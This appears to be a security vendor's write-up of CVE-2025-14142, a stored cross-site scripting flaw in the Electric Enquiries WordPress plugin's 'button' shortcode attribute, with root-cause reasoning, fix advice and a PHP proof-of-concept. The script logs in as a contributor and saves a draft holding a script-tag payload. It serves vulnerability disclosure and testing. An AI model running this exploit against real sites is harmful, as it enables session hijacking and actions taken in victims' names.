Atomic Edge analysis of CVE-2025-14142 (metadata-based):
This vulnerability is a stored cross-site scripting (XSS) flaw in the Electric Enquiries WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description indicates insufficient input sanitization and output escaping on the ‘button’ parameter of the ‘electric-enquiry’ shortcode. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript via this shortcode attribute. The injected scripts execute when users view pages containing the malicious shortcode.
Atomic Edge research infers the root cause involves the plugin’s shortcode handler function. This function likely receives the ‘button’ attribute value from user input, fails to sanitize it with wp_kses() or similar WordPress sanitization functions, and then outputs the value without proper escaping via esc_attr() or esc_html(). The shortcode handler probably uses add_shortcode(‘electric-enquiry’, …) with a callback that directly echoes or returns the unsanitized attribute.
The exploitation method requires an authenticated attacker to create or edit a post or page. WordPress contributors can create posts but not publish them. The attacker inserts the malicious shortcode [electric-enquiry button=”PAYLOAD”] where PAYLOAD contains JavaScript. When an administrator reviews the pending post or when the post is published, the script executes in victims’ browsers. The CVSS vector indicates network attack vector, low attack complexity, low privileges, no user interaction required, and scope change with low confidentiality and integrity impact.
A fix would require implementing proper input sanitization using wp_kses() on the shortcode attribute before storage and output escaping using esc_attr() when rendering the button element. The plugin should validate the attribute contains only expected characters for a button label. Impact includes session hijacking, administrative actions performed by victims, defacement, and malware distribution. The vulnerability is stored, making it persistent across site visits.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14142 - Electric Enquiries <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'button' Shortcode Attribute
<?php
/*
Assumptions:
1. The plugin registers a shortcode 'electric-enquiry' with a 'button' attribute
2. The attribute value is output without proper escaping in page HTML
3. Contributor-level users can create posts with shortcodes
4. The plugin is active on the target WordPress site
*/
$target_url = 'http://example.com/wp-login.php';
$username = 'contributor';
$password = 'password';
// Payload: XSS via button attribute
$payload = '"><script>alert(document.domain)</script>';
$shortcode = '[electric-enquiry button="' . $payload . '"]';
$post_title = 'Test Post with XSS';
$post_content = 'This post contains a malicious shortcode: ' . $shortcode;
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Login
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$response = curl_exec($ch);
// Step 2: Get nonce for new post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce (simplified - real implementation would parse HTML)
// WordPress nonce pattern for new posts
preg_match('/"_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Create post with malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
$post_data = array(
'post_title' => $post_title,
'content' => $post_content,
'post_type' => 'post',
'_wpnonce' => $nonce,
'_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
'action' => 'editpost',
'post_status' => 'draft', // Contributor can only create drafts
'publish' => 'Save Draft'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
// Check for success
if (strpos($response, 'Post draft updated.') !== false) {
echo "Exploit successful. Post created with XSS payload.n";
echo "When an administrator views this post, the JavaScript will execute.n";
} else {
echo "Exploit may have failed. Check credentials and site configuration.n";
}
curl_close($ch);
?>